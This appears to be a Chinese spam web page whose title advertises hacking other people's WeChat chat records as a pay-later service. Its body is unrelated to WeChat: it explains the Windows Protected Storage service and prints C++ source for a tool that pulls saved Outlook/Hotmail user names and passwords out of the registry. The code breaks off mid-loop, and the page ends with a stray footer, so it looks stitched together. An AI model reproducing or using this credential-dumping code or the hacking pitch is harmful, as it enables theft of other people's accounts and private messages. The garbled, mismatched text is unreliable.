破解别人微信聊天记录_先调查后付款 轻松恢复误删微信聊天记录

  • 发表 2021-01-23 14:04
我们知道NT以后的系统中有一个这样的服务:Protected Storage

我们知道NT以后的系统中有一个这样的服务:Protected Storage。他是用来储存本地密码和网上服务密码的服务,包括填表时的“自动完成”功能以及OUTLOOK对应的账号信息。相应的我们就可以通过该服务来获取保存的账号信息。 源代码如下: /////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////// // // //Protected Storage Explorer // // By Hirosh // //www.hirosh.net // // // // // //No CopyRights- Feel Free to Cut & Paste // // // // // /////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include #include "resource.h" #import "pstorec.dll" no_namespace har SavingFname[MAX_PATH]; HWND hwndlistview; BOOL iS9x=FALSE; typedef struct TOOUTDATA{ char POPuser[100]; char POPpass[100]; char POPserver[100]; } OOUTDATA; OOUTDATA OutlookData[50]; int oIndex=0; void EnumOutlookAccounts() { ZeroMemory(OutlookData,sizeof(OutlookData)); HKEY hkeyresult ,hkeyresult1; long l,i; char name[200],skey[200]; DWORD dw2; FILETIME f; lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts"); LONG lResult=RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR ) skey,0,KEY_ALL_ACCESS, &hkeyresult1 ); if(ERROR_SUCCESS != lResult) return ; i=0;l=0; BYTE Data[150]; BYTE Data1[150]; DWORD size; int j; j=0; DWORD type=REG_BINARY; while(l!=ERROR_NO_MORE_ITEMS){ dw2=200; l=RegEnumKeyEx(hkeyresult1,i,name,&dw2,NULL,NULL,NULL,&f); lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts"); lstrcat(skey,"\\"); lstrcat(skey,name); RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR )skey ,0,KEY_ALL_ACCESS, &hkeyresult ); size=sizeof(Data); if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail User Name" , 0, &type, Data, &size ) ==ERROR_SUCCESS) { lstrcpy(OutlookData[oIndex].POPuser,(char *)Data); ZeroMemory(Data,sizeof(Data)); lstrcpy(OutlookData[oIndex].POPserver,"Hotmail"); size=sizeof(Data); if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail Password2" , 0, &type, Data1, &size ) ==ERROR_SUCCESS){ int totnopass=0; char mess[100]; for(int i=2;i

人民网

0 篇新闻